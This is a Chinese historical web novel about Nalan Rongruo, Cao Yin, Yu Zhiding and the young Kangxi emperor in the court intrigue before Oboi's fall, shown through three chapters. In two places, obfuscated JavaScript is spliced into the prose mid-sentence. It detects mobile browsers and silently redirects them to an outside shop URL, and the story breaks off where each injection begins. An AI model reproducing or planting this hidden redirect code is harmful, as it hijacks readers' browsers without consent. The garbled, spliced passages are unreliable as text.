《第一陪臣·纳兰容若传》 1. 第1章 是夜,明府。 落雪纷纷,连着呼吸的雾气都隐约可见。 唯有火盆中的红箩炭,无烟无声,却扰人心神。 一位青年在两位朋友面前亮出一幅画作来,畅意道: “我读了《湖心亭看雪》,寥寥百余字,张岱就把文章写的如此精妙,真是稀罕!所以我就心血来潮给此文配了一幅画,两位看看我画的如何?” 画卷在桌面上徐徐展开,另外两人凑近一看,上面: 雪景静谧,湖心有小亭台一座,小亭台中有数人对饮。一小巧香鼎、一温酒红炉、数碟饼食,一并合桌而放。 岸边横着一舟,舟有倒影。烟水茫茫,若现一堤;话音渺渺,可闻天机。仿佛早已不是人间之景。 翩翩公子琢磨许久,终于对着青年谨慎道:“你这画一出来,可是要掉脑袋的!” 青年大惊:“我是觉得这文章写得好、意境自生,就给画出来了。有哪里不妥吗?” 另一看上去风度卓然的男子道:“禹兄你才画双修,伴君当差已久,也常去慈宁宫给老祖宗请安,应是懂得帝王心思和太皇太后忌讳的,怎么也这般糊涂?” “是啊。”翩翩公子一边把画作卷起一边道,“况且禹兄你与张岱一样,也是江南出身,要是因为一幅画牵连上了不该牵连的事儿,那就倒霉了。” 这三位年纪相仿的俊才,或者说这三位注定了要把名字刻在大清史册上的臣子,便是康熙皇帝身边的三杰: 首席陪臣纳兰容若、御前侍卫曹寅、御用画师禹之鼎。 “张岱写的篇章可不就是处处可疑吗?” 纳兰问罢,就对禹之鼎细数起张岱的文章的暗含之意来: “其一,张岱在开头就说雪下了三天,如此看来湖面必定已经冰封,如何能够驾驭小舟而往?且‘定更’是在晚上,晚上视线不好,他为何要选择晚上看雪?其二,张岱称他是独往湖心亭看雪,那舟中如何来得两三粒人?” 曹寅故意带着惊悚的语调,道:“那三粒……可不一定是人呐,在夜间。” “啊?这么说来——” 禹之鼎的后背沁出满满的冷汗来。 纳兰继续道:“照我看,张岱的‘独往’是真实状态,此程唯有‘舟子’一人是客观存在的。” “就是这么回事。”曹寅接着纳兰的话道,“所谓的对饮之人、对谈之语,全是张岱杜撰的,目的就是跟我大清做对!” “啊?悟了!真叫我如梦初醒——” 禹之鼎恨不得立刻把画作扔进火盆里烧了。 纳兰知道,在明府,在父亲明珠的监管下,自己是没有自由的,有许多话,包括朋友之间的闲聊之词,都只能点到为止,不可说破。 说破就等于要被明珠用家法处置,明珠曾说: “容若是我的珍宝,言行之间不可有一点闪失。容若亦是天子腰间的一块美玉,至高至真,文韬武略具在。珠玉在侧,伴君为忠,顾家为孝,于内于外,不可沾染了一粒尘埃。” 所谓“尘埃”,指的就是: 什么话该说,什么话不该说; 什么事该做,什么事不该做。 曹寅的开窍、禹之鼎的一点就通是一回事。 那么,心思通透、聪慧至极的纳兰不能说的话究竟是什么? 纳兰的心中,对《湖心亭看雪》一文看的非常透彻: 说白了,这就是张岱的反清之作。 首先,如今已经是大清,张岱却用了大明的年号来开篇,这是他的第一刻意; 其次,亭中宾客自称来自金陵,此地点绝非乱套,而是有意提及。金陵是明太祖朱元璋称帝时的首都,这不是表达对故国之思又是什么?这是张岱的第二刻意; 最后,舟子口中的“相公痴”和“更有痴似相公者”,更是了不得,简直是把反清的情绪推向了至高点,这不是煽动有一致情怀的人去行动,又是什么?这是张岱的第三刻意。 纳兰走到禹之鼎身侧,本着为他好的真挚之心,道: “当断不断,反受其乱,禹兄若是有烧画的打算,那就烧了吧!” 禹之鼎对着纳兰和曹寅一点头,毅然决然地把自己的画作扔进了火盆里。 火苗遇见画纸,一下子就窜了上来,火光在红焰和青蓝中交织,渐渐地,就将画作包围、灼烧成了灰烬。 从纸成灰,不过须臾,炭声小响,唯独不见一丝烟雾。 三人就这么安静地看着,像是化解了一场危机一般。 可不就是危机吗? 对纳兰容若而言,就是既救了朋友、也回避了因言多必失而遭受父亲家法处置的苦楚。 对曹寅而言,作为被孝庄太皇太后安插在皇帝的身侧的棋子的自己,就是自避了一桩“知而不报”之罪。 要知道,多尔衮当年对待反清势力时,手段可是很强硬的,张岱的朋友没有少遭殃。所以一旦孝庄太皇太后晓得此事:侥幸逃过一死的张岱,反逆之心不但未消、反而是死灰复燃,玩起了文字游戏……追查起来,那还了得? 安然渡劫的,莫过于是禹之鼎本人了。 执笔作画,果然是不能一时冲动;品书入境,果然是要多思三分;情怀所至,果然是要顾及后果。 禹之鼎感泣道:“容若,曹寅,多谢你们!” 纳兰和曹寅一同反握住禹之鼎的手,齐心协力道: “你我都是伴君之臣,必将是互为知己,同舟共济。” * “朕定要生擒了鳌拜!” 少年天子在就寝之前,嚷出这么一句话来。 正想要熄灭就近的烛火的大太监顾问行吓了一跳,忙道:“奴才伺候万岁爷安置!” 当然了,少年天子的那声抱负,别说是顾问行觉得是句不切实际的话,任凭谁听到,都会认为那只是句发泄不满之言吧? “朕是认真的!” 玄烨仰起了头,目光坚毅,不容置否。 事实证明,少年天子的确不是说说而已。 在日后,他今晚所说过的每一句话、所表现出来每一份坚定地除去鳌拜的信念,都成了真。真可谓是:逐梦圆满,少年成器;志向得成,圣君有为。 “是,是……奴才无论何时何地,都是跟万岁爷同一立场的。” 顾问行好声说着,一边让少年天子躺下,一边给他盖上了暖被。 此时的玄烨,跟傀儡皇帝无别,大权都掌握在辅政大臣鳌拜手中,鳌拜自恃功高,不把其他辅政大臣放在眼里不说,更是目中无君。 皇祖母孝庄为了缓解这一困境,就让玄烨娶了索尼之女赫舍里为皇后,原本以为得到了索尼的支持,皇权一定能够慢慢回握,哪料索尼早死,压根没有起到什么作用。好在是赫舍里皇后懂事,在后宫执掌凤印期间,将一切都管理的井井有条,免去了玄烨的“家事之忧”。 虽然说,有皇祖母孝庄的抚养,玄烨不公开跟鳌拜做对、一直熬到鳌拜死去也能够重新掌权,但是对于一个胸怀大志的皇帝而言,怎能允许自己在少年时期就碌碌无为? 只可惜,玄烨势单力薄。 不行却逞强的结果,使得玄烨的处境变成了当下这般: 朝中有权臣束手束脚,朝后有皇祖母孝庄事事过问。赫舍里皇后虽然端庄温柔,却始终少了点女子该有的灵气和个性。 真可以说是:自由不得自由,与嫡妻相敬如宾。 唯独是身边的三人,成了这桎梏的生活中的玄烨的慰藉: 纳兰容若才华横溢,如皎月透云、青莲出尘,让人无法挑剔;曹寅能文能武,聪明绝顶,鬼点子虽多,但也个个能够派上用场;禹之鼎痴画如命,性格直爽,敢于在君前之言己见。 “朕迟迟未能亲政——” 玄烨猛然掀掉被子,从床上坐起。 顾问行执灯上前,半跪在地,竖起了耳朵来听。 “朕要成为千古一帝!要造福大清,造福百姓。” “鳌拜一日不除,朕一日难安。顾问行,你是朕的心腹大太监,你说朕有得选吗?” 顾问行把烛台往旁侧一放,磕头道:“奴才虽然只是个宦官,但只要万岁爷愿意,奴才愿意肝脑涂地,为万岁爷分忧!” “朕信得过的人,除了纳兰容若、曹寅和禹之鼎以外,就只剩下你。”玄烨双目直视着跪地之人,“内宫之中,你是离朕最近的人……你不可背叛朕!” “是!”顾问行重重一点头,“奴才这一生,都是万岁爷您的人,任凭万岁爷差遣,为万岁爷办事。” 轰隆—— 天鸣震夜幕,外头响起了一声惊雷。 “雪夜怎么打雷?” 玄烨披衣下了床,来到了隔窗一尺的位置。 “回万岁爷,惊雷响而万物生。万象更新,春来何处不欣荣?可见您的大志,是要成了呀!” 顾问行紧随在后,诚心诚意道。 * 翌日。 京师城郊的一处密所之中,张岱和宋应星同在。 此二人神色肃穆,言语谨慎,俨然在谋划着什么。 宋应星小心道:“我的人从明府之中探到密报,说是张公你的大作《湖心亭看雪》被明珠的公子纳兰容若一眼洞穿了端倪。你要好自为之。” 张岱先是一惊,然后难以置信地问:“都说明珠的公子非池中之物,才不输貌,果真如此?” “的确如此。”宋应星冷笑一声,“只可惜人各有命,才高者往往寿不高。更何况:江城五月落梅花,人生三十终抱憾。不就是说:纳兰容若出生在寒梅绽放的腊月,终究会在词意阑珊的五月天损落性命吗?” “宋公,你如此咒他,未免……” “这话可不是我说的。”宋应星摆了摆手,“是纳兰容若降生的前一日夜晚,一个算命术士跑到明府去说的。” “后来呢?那个算命术士可是被明珠处死了?” “这我就不知道了。” 关于纳兰容若的性命预言之说,张岱自然是不敢再继续往下问。 他只把话题往了另一个方向转:“宋公你安插在朝廷里眼线,可探得了别的情报?” 宋应星示意张岱凑近,道:“探到了,而且事件大事!” “太皇太后孝庄悄悄祭奠了多尔衮。” “她在多尔衮的私设灵位前道:玄烨虽小,但必定能够扛起大清江山的重担。在将来,他做事必定比你这个前摄政王要更妥善、用人必定比你这个前摄政王要更准确,而且,玄烨必将长命百岁,赋予大清江山大好盛世。” “多尔衮啊多尔衮,曾经福临拼命想让你死,你却终究没有死在福临手中。如今玄烨铁了心要扳倒鳌拜,此情此景,跟旧时福临想铲除你有何分别?大清开国初期的两位少年天子,差不多的年纪,差不多的雄心壮志,差不多的要上手理政的一腔热血……多尔衮你说,谁会赢呢?” 张岱听罢,只问了一句:“小皇帝想要除掉鳌拜?” 宋应星斟酌良久,应道:“只怕是不待时日,朝中就会发生大变啊!” * 明府之中,容若在观赏一盆水仙花。 他觉得水仙就是这般好:在独特的季节绽放,独生一股幽香,偏惹一份词意。 于是,他提笔在笺纸上写下一首《减字木兰花》: 花摇影,冷透疏衾刚欲醒。 不思量,不许孤眠不断肠。 茫茫碧落,天上人间情一诺。 银汉难通,稳耐风波愿始从。【注1】 家仆领了曹寅进来。 曹寅拿起纳兰的新作来读了一遍,夸赞了几句之后放下,道:“容若,我寻到了一家好店,你定是喜欢。” 容若下意识道:“你不会是想带我去歌楼品闻莺莺燕燕吧?可说好了,我不去那种地方。” 曹寅笑道:“我知道你性情高雅,怎么敢唬你去那种场子?再说我也不能去啊,万一被太皇太后知道了,岂非生怕皇帝学坏了,要打我的板子?” “该打!”容若故意道,“你说的好店,是什么店?天底下还有什么东西,是明府买不到的吗?” 曹寅拉起容若的手,跃跃欲走。 他高兴道:“你跟我来,到了自然就能揭开谜底。” “那我请了阿玛的准,就随你去。” 容若叫曹寅稍等,然后起身就要往明珠的房间去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129588|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你为什么对你阿玛处处听话,不敢做一件错事?” 曹寅心中,对容若交织着小小的扫兴、半半的无奈和丝丝的同情。 “因为我自出生开始,就不再是个可以随心而活之人。我要顾着皇帝,也要顾着自己的家族,不极力变得完美、不做一个没有闪失的平衡点,不行啊。” “那……你觉得苦楚吗?” “愁苦,有而不能有;悲楚,知而故作不知。” “你可真是个矛盾的人。” “曹寅,你等我,我马上回来。” 看着容若的背影,曹寅特别想告诉他—— 你看看我,听命于太皇太后,却不曾拘谨过。 我曹家的人口也不少,可我没觉得自己必须要为家族背负一切。我认为人生是自己的:自己因功受赏、光宗耀祖,那是天赐的福气;自己不慎获罪、连累全族,那也是有着万分的不得已。 事事都想着周全,最易伤神伤身。 容若,我不愿你这样。 * 从江南初到京师的沈宛,觉得一切都很新鲜。 她是接到了师傅宋应星的密信,前来与之汇合的。 沈宛自小与家人失散,幸得宋应星养育和调教,学习琴棋书画,琢磨军事地理,放眼国家大事,成为了一个才女子。 张岱如此评价这对师徒: “宋公与沈宛,都是汉人,都是心向大明王朝之人,都是有着灼灼才华之人。一生成就,岂是包括我在内的当世之人,可以预料的?” * 纳兰容若跟着曹寅走进了一家字画店。 刚在雅座上坐下,字画店的老板就热情地过来招呼:“久仰纳兰公子大名,今日小店得幸迎来纳兰公子光临,还请多多关照。” 曹寅道:“容若,这位是周之捷周老板,祖祖辈辈都是做字画生意的,才从巴蜀将店铺迁来京师,我寻思着这一定契合你的品味,就带你过来品鉴品鉴名家名作。” 听曹寅说着,周老板自己补充道:“都是真迹,纳兰公子看看有无喜欢的。如有,等公子你挑好了,小的一定亲自登了明府去送货。” 容若正想叫周老板带自己去里屋挑字画,就听见了从柜台那边传来的一番话: “我听说,你们这里有唐代女诗人李季兰写给朱泚的三首诗的真迹,刻意带了银子来买。” 说话的是个女子,看着像个汉人。 店掌柜哪里敢作回应—— 朱泚何人?发动兵变围攻奉天、想杀死唐德宗之人。是个赫赫有名的反贼。 李季兰何人?大唐四大女诗人之首,因向朱泚献诗而惹得唐德宗大怒、下令乱棍打死之人。是个赞否两论的奇女子。 如今大清国内,旧明势力未除。 若是有人借了“唐朝旧事”来找茬,使得字画店还未在京师站稳脚跟、就先惹上了一场官司,哪里还了得? 于是,店掌柜慌慌张张地过去,叫周老板给拿个主意。 “你直接告诉她:‘本店没有。’就是。”周老板气道,“这样惊慌失措成何体统,仔细乱了纳兰公子的心情。” “不是——”店掌柜为难道,“就怕那姑娘一次不得手,还会反反复复再来啊!” “周老板,你别怪店掌柜。”容若平和道,“我心情没受影响,也打着心底里晓得:那姑娘想买的东西,贵宝号的确是没有。” “多亏了纳兰公子心明如镜。”周老板瞪了店掌柜一眼,“你还愣着做什么?赶紧地谢过人家。” 店掌柜才一弯腰,容若便和气道:“不必谢。这事我来解决,我有办法让那姑娘不闹不执着、满意而归。” 容若走近那位女子,直视着她。 “姑娘你想要的东西,真迹这个世道没有,赝品倒是有不少,其中要数唐德宗身侧的权宦霍仙鸣伪造的最为逼真。” “公子可知道:李季兰的真迹诗稿,值钱的不是她写的正诗篇章,而是她人生最后的、献给朱泚的那三首诗?” “那三首诗的真迹早已被毁,此事在陆羽著述的《茶经》之中可以寻得线索。” “什么?”那位女子十分惊讶,“公子的意思是——” “嗯,你读过就知。” “我不知。” “那……我日后再告诉你。” 纳兰神秘道。 同时,他也看见了从那女子脸上一闪而过的期待感。 “姑娘如何称呼?” “宛卿。” 容若笑了:“宛卿?我只记得大唐名将郭子仪的次女名叫郭宛卿,与夫君吴仲孺颇是恩爱,佳话载誉史册。不知姑娘的心思,是否也在此?” 沈宛不正面回应,而是瞧着眼前的贵公子,心中藏着好感。 她用汉人女子特有的直爽方式,询问:“你是谁?” “我?”纳兰指向自己,温眸看她,“大清第一陪臣。” -------------------- 【注1】纳兰性德词作《减字木兰花·花摇影》,有删字。 【注2】陪臣:大清指伴君之臣,即皇帝的君侧近臣;其他朝代指公卿的家臣。 【注3】顾问行:他是康熙皇帝前期最亲近的贴身太监。后,他就任乾清宫首领大太监、大清第一任敬事房总管。顾总管工作踏实,极少出错,深得康熙皇帝信任。康熙外出征战时,给顾总管写信诉衷肠。后续登场的梁九功,正是顾总管的徒弟。 【注4】张岱:《陶庵梦忆》《夜航船》作者。1、老顽童活的是真的久,直到93岁才去世,等于是纳兰公子的寿命的三倍。2、张岱的“反清之作”一案,在后续明珠就任刑部尚书之时,纳兰父子会合谋而破,是为明珠刑部之任的:首案和第一大案。 【注5】宋应星:《天工开物》作者。家人和友人为多尔衮所害,去发留辫后,对大清耿耿于怀。 【注6】字画店和周老板:这个字画店和周老板,本本客串,是来推动剧情和增加笑点的。周之捷周老板在大清打酱油,以售卖纳兰公子字画为荣;他的先祖在《江南茶事录》和《巴山夜雨录》中打酱油,邂逅陆羽和李商隐。虽是小角色,但也乐趣无穷,不可少。 2. 第2章 如意馆中,禹之鼎正对着一卷空白画纸发呆。 却没想到忽然走进来一个穿着西洋衣裙的女子,惊得他从位置上一跃而起。 “姑娘是来找我的吗?”禹之鼎走到那女子面前,“不知姑娘来如意馆是为了参观?还是为了讨画?” “我早就听说画师禹之鼎年纪轻轻、功底却深。”那女子莞尔一笑,“就是不晓得你有无胆识为我作画?” “胆识?”禹之鼎上下打量着眼前人,“姑娘尚且敢在天下女子之中特立独行,我又如何不敢为姑娘你画像?” “大清马上得天下,我是满清八大贵族当中的第一望族瓜尔佳氏的后人之一,费英东是我的曾祖父,图赖是我的祖父,我名叫:云辞。” “用汉话来叫,就是:官云辞。所以——”那女子一笑,“我阿玛朴尔普说定是没有哪个汉人官僚敢叫儿子娶我,因为那些人都忌讳:官运辞。” “官氏?我是汉人,但我喜欢你的名字。”禹之鼎毫不隐瞒,“朝辞白帝彩云间,千里江陵一日还,意境多好。就像你一样,飒爽独行,不流世俗。” “你可千万别在明珠面前提到李白这个人和李白的诗。我听阿玛朴尔普说,曾经有个算命术士从李白的诗句里,断章取义拎出一句话来,诅咒纳兰容若活不过三十岁,气得明珠秘密将那算命术士给处死了。” “那句‘江城五月落梅花,人生三十终抱憾’吗?”禹之鼎问,“容若自己也知道这事儿,但是他不信。不信则无,我也是这么对他说的。” 官云辞来到画案面前,转了转一只画笔,无奈道: “我阿玛说:‘将来我的女儿是要嫁入明珠家去的,门当户对。’ ” “我说我不要,我喜欢的不是纳兰公子那样的温润之人,而是汉人里面的、有真本事的男子。只要对方有一技之长,一生只娶我一人,无论贫富贵贱我愿意嫁。” “诶?”禹之鼎眨了眨眼睛,“你不知道容若还未到娶妻的年纪,上明府去提亲的人都快踏破门槛了吗?” “知道,但是我总不能让纳兰公子左右为难吧?” “怎么会呢?”禹之鼎风轻云淡地一笑,“你只是一个女子,怎么会叫他为难?” “我父亲朴尔普,可是光禄大夫少保,一等公,纳兰公子是皇帝身边的陪臣,他在宫中的一举一动,全在我父亲的督管之下。还有呢,你别看鳌拜现在得势,等到鳌拜倒台之后,索额图必定会担任内大臣,皇帝身边的侍卫也是归内大臣管的,索额图向来跟明珠不和,难保索额图不会因为跟明珠之间的私人恩怨、而处处针对纳兰公子。” “所以,我怎么能让纳兰公子娶我呢?”她摇了摇头,“我可不想他因为我而被夹在权力的缝隙之中,无法呼吸。” 禹之鼎赞许道:“云辞,我没有想到你是一个如此明事理、如此为容若着想的女子。” “我是满人女子,不懂得汉人女子的似水温柔,即便是日后嫁给纳兰公子,也给不了他万千风情和笔下词境。” 官云辞颇有自知之明。 “因此,为了我自己好、也为了纳兰公子好,我就常常外出走动,寻思着有没有——” “有没有合适的、爱你也为你所爱的汉人男子?” 禹之鼎接着她的话道。 “也……可以这么说吧!” 感受到自己的心思已经被对方看穿,官云辞应道。 “那我可要把你的画像画好、好的让你无法挑剔才行。” “哦?我拭目以待。” 让官云辞到正对面坐好之后,禹之鼎就铺陈纸笔,一边观察她、一边认真描绘她。 ——这是我成为画师以来,前所未有的挑战。 ——这是宫廷之中,前所未有的人物画类型。 他在心中拼命暗示自己。 西洋的服饰真是大胆啊! 一条束紧细腰的白色长裙,袒露双肩;上半身的紧身胸衣上,层层叠加着夸张的大型花朵,五颜六色,生动如真,透着跟旗袍截然不同的美感。 即便是坐着,下半身的衬裙也没有变形。究竟是有什么东西,把衬裙撑出了形状来呢?裙底的荷叶边也甚是好看。 啊……那半露的尖头鞋子是什么? 是大清女子从未有谁穿过之物吧?可是,跟这套衣裙真的很搭。 画着画着,怎么就笑了呢? 禹之鼎搁笔,呆看着官云辞。 “禹画师,你在笑什么?” “唔,我在笑朝廷官僚都是头戴顶戴花翎,为什么云辞姑娘你的发型上面别了一个——粘了两根羽毛的小礼帽?” “西洋流行这个!特别是西洋皇室的公主们,她们戴天鹅绒做的礼帽,上面的装饰品可多了,不像我们大清的女子,只会镶嵌珠翠和乱插步摇。” “还是女子的花样多。”禹之鼎想起来了,“之前皇上得了一瓶香水,只敢闻不敢用在身上,怕惹身边人笑话。” “你要吗?” “要什么?” “香水。” “这个……” “我有。”云辞不给他斟酌的余地,“西洋的男子,流行喷那个。” * 纳兰容若走进如意馆。 见禹之鼎像是沉浸在什么美好的回忆之中、不愿走出一般,单手托腮,神往情入,呆坐如像。 容若拍了拍挚友的肩膀,好奇问:“方才那位拿着一卷画轴、高高兴兴地出去的姑娘是谁呀?” 禹之鼎回过神来,兴奋直言道:“原本是你的未婚妻,现在是我的心上人。” 这话倒是把容若听笑了,嫁娶之事,还早着呢。 “你怎么也跟曹寅一样,爱拿我开玩笑?” “好,我不跟你开玩笑。”禹之鼎请了容若去茶桌那边坐下,“倒是想问你一个正经问题——” 容若不介意:“你问吧。” “容若,你想过自己要娶什么样的女子为妻吗?” “我有一位表妹,叫做惠儿。不久,她就要到京师明府的别院来住。小时候我跟她有过数面之缘,也不知道如今彼此都已经长大,是否会变得陌生不惜?” “青梅竹马的人儿?” “算是。” “不说我了。”容若看着挚友,“方才那位姑娘手中的画,莫不是你当场作的?你为她画了什么?” “你怎知她不是来向我讨既存的画作?” “女为悦己者容,她今日是盛装而来,所以我猜她是主动邂逅你。” “那你说我是什么反应?” “你应当是:开始觉得她那一身西洋衣裙新鲜,接着又被她的个性吸引,到最后,就答应为她作画、并且沦陷于她了。” “什么都瞒不过你。”禹之鼎一把握住容若的手,“我,好像真的被那样的有情有义的女子征服了。” “有情有义?你是指她在背后悄悄相助过你吗?” “她相助的人不是我,是容若你。” “今天是我第一次见她,我连她的出身和名字都不知道,她为什么要帮我?” “你可以叫她官氏,把她的名字‘云辞’留给我叫。” “啊?” “她是个好姑娘,一心都是为你好的,今日我不便多说,以后你就知道了。” “哦。” “她说:‘嫁谁都不能嫁给纳兰公子。’ ” “唔。” “她还说:‘万千风情和笔下词境,纳兰公子所爱,都是我所不能给。’ ” “禹兄,嫁娶之事,本就讲究投缘。既然官氏通透,你对她又有好感,那你就在日后娶了她,好好待她。” “有你这话我就放心了。”禹之鼎向容若一点头,“即便是以后她阿玛要让她嫁给你,我也会站出来誓死反对。” 容若执茶道:“禹兄真性情,容若以这杯茶相敬。” 禹之鼎同样执茶对饮,道: “你说的无错,感情之事,合则来、不合则去。” “容若,我亦是盼着:等你到了娶妻的年纪,千万不可顺听父母之命,娶了非真爱之人,勉强了自己。” * 瓜尔佳府邸。 积雪覆盖了庭院,朴尔普正坐在屋内烤火。 女儿云辞一日未归,急的夫人不思饭食,他这个一家之主自然也是不爽快。 见一个手下慌慌张张进来,欲言又止,朴尔普冷道:“如今我还有什么话是听不得的?只管挑了最要紧的来说!” 手下硬着头皮回话道:“云辞格格穿着西洋服饰,跑去如意馆找画师禹之鼎画像。” 朴尔普向来不喜欢汉人,气得差点一脚踢翻火盆。 “老爷息怒啊!”站在一旁的管家劝道。 “云辞格格那般打扮虽是离谱了些,八大贵族的格格里面没有见过像她那样的,但是这才叫做个性,没准……纳兰公子一看画像,就喜欢上了呢?” 平了平心情,朴尔普问:“如今那幅画在何处?” 手下道:“被云辞格格像是珍宝一般地带回府上了。” 朴尔普“哼”了一声,连着训斥女儿和画师道:“云辞倒是记得回来,禹之鼎倒是没有将画私藏私品。” 手下壮着胆子道:“恕属下直言,难保禹画师不会记得云辞格格美貌,而悄悄再画再品啊!” “简直荒唐。”朴尔普一拍桌子,“这事要是传出去,我瓜尔佳氏一族的脸面,算是被云辞给丢尽了!” “老爷!”管家小心翼翼提醒道,“格格不懂事、被西洋服饰和西洋玩意儿迷了心窍也就罢了,关键是禹画师自己也不知道检点、对请画之人来者不拒,可要叫人去教训教训他?” “你敢叫人动他?你怕不是活腻了吧!”朴尔普对管家一瞪,“禹之鼎如今是皇上的御用画师,说白了就是皇上的人,谁都动不得他。” “属下愚钝,请了老爷的意思:要是禹之鼎不是个出身普通的汉人,而是个家势跟瓜尔佳氏一族不相上下的满人,得了云辞格格好感,您可以愿意让他入府为婿?” 朴尔普当机立断地一摇头,道: “儿女婚姻,从来都是一场政治交易。包括皇帝和赫舍里皇后之间,也是如此。所以,不管禹之鼎是谁、出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“太皇太后让阿玛挑选精干的八旗子弟,是为了相助皇帝出其不意地智擒鳌拜。而鳌拜一除,四大辅政大臣当中:索尼已死,苏克萨哈被杀,活着的遏必隆也一定会被革职查办。到时候,阿玛的政敌索额图必然上位。” “索额图若任内大臣,照着他的性情,绝对不放过在他手下、归他所管的君侧陪臣:明珠之子纳兰容若。所以阿玛为难:难在是否应当打破当前局面,难在是否应当让儿子活的自在一些。” “唉!”明珠一叹,“容若你就是太过聪慧,慧极必伤啊!” “索额图是皇上嫡妻赫舍里皇后的亲伯父,所以他必定是站在皇上那一边,要帮着皇上除掉鳌拜的。所以阿玛您不能不向皇上表态,既然太皇太后给了阿玛您一个立功的机会,就要抱着‘只求功成、不可败走’的心态来面对才是。” “你为什么不多顾着一些你自己?”明珠心疼地看着儿子,“阿玛跟索额图相争相斗,没准是一辈子的事情。阿玛不想你受到索额图的欺压啊!” “请阿玛放心。儿相信皇上、相信阿玛、也相信上天,即便索额图有意针对于儿,儿也定会机智化解,不给任何人添扰。” 明珠拍了拍儿子的手背,千言万语,不知道该说什么的好。 窗外,落雪纷纷,如盐似絮。 房中,茶香沁鼻,宜人心境。 想到儿子素来畏寒,明珠就吩咐了下人: “去给公子拿一件锦缎披风过来。” 等到下人取了锦缎披风回来,明珠亲自为儿子添了衣。 “阿玛听说,你平日写词之时,常握着装满了热茶的杯子来温暖双手。” “是。儿怕铜手炉烫坏笺纸、染尘衣袖,故而不用。” 明珠笑道:“不懂你的性情之人,就会说你挑剔不知福,天底下多少穷苦百姓,想用铜手炉还用不上。” 容若温声道:“茶情跟暖炭,瓷杯跟铜炉,素香心跟烟火味,玲珑意跟成型器,总归是不同的。” 明珠指向未收拾的桌面,道: “你曾为这盆水仙花写词,如今阿玛觉得它们已经不适合再陪伴你了,叫人把水仙撤去、换了寒梅盆栽来养如何?” 聪慧如容若,一下子明白了明珠的意思: 水仙花花开易谢,不如梅花生命力顽强。人生苦短,韶华易逝,花草相伴无益,还不如搁着四季不移的栽种之木耐看。 于是,他应道:“好,儿听从阿玛的话。” 明珠离开之时,叫容若不必起身相送。 同时,明珠想到: 今日自己在容若面前提及太皇太后,容若是个心思细腻的孩子,知道纳兰家跟太皇太后的旧好——摄政王多尔衮脱离不了关系,没准会往更深处去想也未可知。 这么说来,自己娶了多尔衮的兄长阿济格之女为妻,容若该叫: 阿济格一声“外公”,多尔衮一声“祖王父”才对。 ——冥冥之中,一切都是天意啊! 明珠在心中感慨。 明珠折返,慈爱地提醒了容若一句话: “儿啊,记着:千万不要去探寻多尔衮的死因。” 3. 第3章 一日在街头,纳兰容若独自撑着一把挡雪伞走着。 也是奇怪,天越冷,本来愿意出门的人应该越少才对,为什么两侧店铺和小贩们的生意反而好起来了呢? 包子铺内几乎座无虚席,一笼面点和一碗豆浆成了食客们的标配;字画店里也多了不少前去品物聊天的客人,只要是志趣相投,就能在茶盏和淡香之中聊到一块去;甚至……连花鸟店也正常看门坐着生意,可见不少前来挑年花和选锦鲤的一家子。 一家子。这个词可真好。 不用说出口,光是想一想,都觉得温暖如春。 明珠平日里忙于朝中之事,夫人打点着家中的一切事务和维系八旗之间的利益关系纽带,容若自己则是如履薄冰地陪伴在君侧,小心翼翼地尽“第一陪臣”之责。 这份陪臣之责,跟曹寅的御前侍卫之责和禹之鼎的御用画师之责相比,区别可大了: 首先,智商要高,能文能武自然是不必提,这是最基本的前提条件。懂得为皇帝出谋划策,但是不能僭越替皇帝决策;能够为皇帝排忧解难,但是不准凭一己之见来让皇帝听信主意;有为皇帝指点江山之能,但不可发展到干政的地步。 其次,情商也要高,跟皇帝之间既要有深层的互动,又要有得当的谏言;当皇帝犯下过错时,要为皇帝及时止损;当皇帝居功自喜时,要对皇帝旁敲侧击,提醒皇帝功在千秋,不在一时。 然后,对皇帝要绝对忠诚,无论何时何地,以皇帝的利益和安危为先,不可欺君,不可叛君,否则杀无赦。 最后,要认清自己在不同的处境和立场当中,多扮演的各种角色。常思己过,常辨他能,常感君恩,不可迷失,否则罪罚按律。 ——是了,要知道自己的份量,要看透自己的能耐,要让人挑不出错。这样的男子,才够格陪伴在万古明君身侧,才能够有底气说出“大清第一陪臣”这六个字。 ——然而,心里面却时常觉得空落:阿玛和额娘能给我的,都给了,为何没有民间的那种“一家子”的感觉呢?定是我悟得不够深,定是我还年轻,尘缘尚浅,所以未能知晓“明珠家”和“寻常百姓家”的区别。 ——不,不叫区别,而叫宿命。我出生在明珠家,明府的兴衰和大清荣辱就是我的宿命、我的责任;我出生在布衣家,三餐饭食和耕作奔波就是我的宿命、我的日常。 容若这般告诉自己。 * 花,为什么此处会有花? 被阿玛叫下人拿走了的水仙花,换了一种方式在墙角的冰封冻土之中重生了吗? 纳兰容若的心中,无比欣喜,不由得想弯下腰去细看…… 就在此时,仿若有一阵风刮过,扬起了一阵雪花。 雪花散落在容若的脸上,他不觉得冷; 挡雪伞掉落到了雪地上,他不觉得惊。 一切,那么出其不意、却又那么顺理成章。 眼前的女子,半蹲在他的身侧,双手稳稳地接住了那枚—— 他出生以来就戴在身上的纯白玉佩。 她庆幸而又喜悦地道:“公子,你怎么蹲在地上瞧水仙花?这么重要的玉佩,若是着地脏了或是碎了,多可惜。” “宛卿。” 容若握住了她的手,深深地叫了她一声。 他的意外,他的欣喜,他的感动,全部都在“宛卿”二字之中。 “我以前以为水仙花只能水养,直到今日我才知道:唔,原来水仙花也能在泥土之中生长呀!” “你们满人多数不爱花草,自然不懂得花草的习惯。我们汉人就不同了,能为一朵兰花写诗,能为一卷江南作画,更能为浩荡江湖仗剑。” “姑娘,你是江南人士?也会些功夫吗?” “是啊,我出身吴侬水乡,文能精通琴棋书画,武能身手不输男子。” “那你定是有疼爱你的爹娘,懂得什么叫做:一家子。” 